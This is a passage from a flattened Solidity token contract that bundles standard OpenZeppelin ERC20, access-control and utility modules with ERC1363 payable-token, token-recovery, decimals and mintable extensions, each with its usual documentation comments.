* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363 Interface
* @dev Interface for a Payable Token contract as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363 is IERC20, IERC165 {
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address recipient, uint256 amount) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param sender address The address which you want to send tokens from
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `recipient`
* @return true unless throwing
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 amount) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363Receiver Interface
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Receiver {
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param sender address The address which are token transferred from
* @param amount uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` unless throwing
*/
function onTransferReceived(
address operator,
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol
pragma solidity ^0.8.0;
/**
* @title IERC1363Spender Interface
* @dev Interface for any contract that wants to support approveAndCall
* from ERC1363 token contracts as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IERC1363Spender {
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param sender address The address which called `approveAndCall` function
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` unless throwing
*/
function onApprovalReceived(
address sender,
uint256 amount,
bytes calldata data
) external returns (bytes4);
}
// File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol
pragma solidity ^0.8.0;
/**
* @title ERC1363
* @dev Implementation of an ERC1363 interface
*/
abstract contract ERC1363 is ERC20, IERC1363, ERC165 {
using Address for address;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1363).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to.
* @param amount The amount to be transferred.
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) {
return transferAndCall(recipient, amount, "");
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param recipient The address to transfer to
* @param amount The amount to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transfer(recipient, amount);
require(_checkAndCallTransfer(_msgSender(), recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
return transferFromAndCall(sender, recipient, amount, "");
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param sender The address which you want to send tokens from
* @param recipient The address which you want to transfer to
* @param amount The amount of tokens to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCall(
address sender,
address recipient,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
transferFrom(sender, recipient, amount);
require(_checkAndCallTransfer(sender, recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to
* @param amount The amount allowed to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) {
return approveAndCall(spender, amount, "");
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to.
* @param amount The amount allowed to be transferred.
* @param data Additional data with no specified format.
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(
address spender,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
approve(spender, amount);
require(_checkAndCallApprove(spender, amount, data), "ERC1363: _checkAndCallApprove reverts");
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(_msgSender(), sender, amount, data);
return (retval == IERC1363Receiver(recipient).onTransferReceived.selector);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(_msgSender(), amount, data);
return (retval == IERC1363Spender(spender).onApprovalReceived.selector);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: eth-token-recover/contracts/TokenRecover.sol
pragma solidity ^0.8.0;
/**
* @title TokenRecover
* @dev Allows owner to recover any ERC20 sent into the contract
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/token/ERC20/behaviours/ERC20Mintable.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Mintable
* @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour.
*/
abstract contract ERC20Mintable is ERC20 {
// indicates if minting is finished
bool private _mintingFinished = false;
/**
* @dev Emitted during finish minting
*/
event MintFinished();
/**
* @dev Tokens can be minted only before minting finished.
*/
modifier canMint() {
require(!_mintingFinished, "ERC20Mintable: minting is finished");
_;
}
/**
* @return if minting is finished or not.
*/
function mintingFinished() external view returns (bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens.
*
* WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function mint(address account, uint256 amount) external canMint {
_mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts.
*/
function finishMinting() external canMint {
_finishMinting();
}
/**
* @dev Function to stop minting new tokens.
*/
function _finishMinting() internal virtual {
_mintingFinished = true;
emit MintFinished();
}
}
// File: @openzeppelin/contracts/access/IAccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
